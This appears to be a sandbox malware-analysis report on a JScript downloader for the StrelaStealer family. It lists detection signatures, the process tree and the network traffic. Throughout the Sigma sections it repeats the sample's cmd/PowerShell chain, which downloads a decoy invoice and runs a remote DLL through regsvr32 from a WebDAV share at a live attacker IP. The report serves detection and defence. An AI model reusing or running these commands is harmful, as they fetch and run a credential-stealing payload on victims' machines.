Edit tour

Windows Analysis Report
631311201545628497.js

Overview

General Information

Sample name:	631311201545628497.js
Analysis ID:	1588286
MD5:	2930e868976b301d82360fc393bd5aad
SHA1:	7f516e55c674f4fdee6bb7955d89dac61528ec12
SHA256:	21ae94b41128b904c6fe6b8dcbd704c228142fafea7a870b87e1f425eee7755b
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7616 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7700 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7744 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8172 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17250070332072236360,9666019462603494126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7948 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7976 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7280 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7616	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7976, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ProcessId: 7616, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7700, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7976, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7280, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7976, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\631311201545628497.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7616, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll, ProcessId: 7700, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:32:04.835536+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:32:02.366707+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 631311201545628497.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 631311201545628497.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:32:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.9:49707 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:64280 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49706 -> 193.143.1.205:80

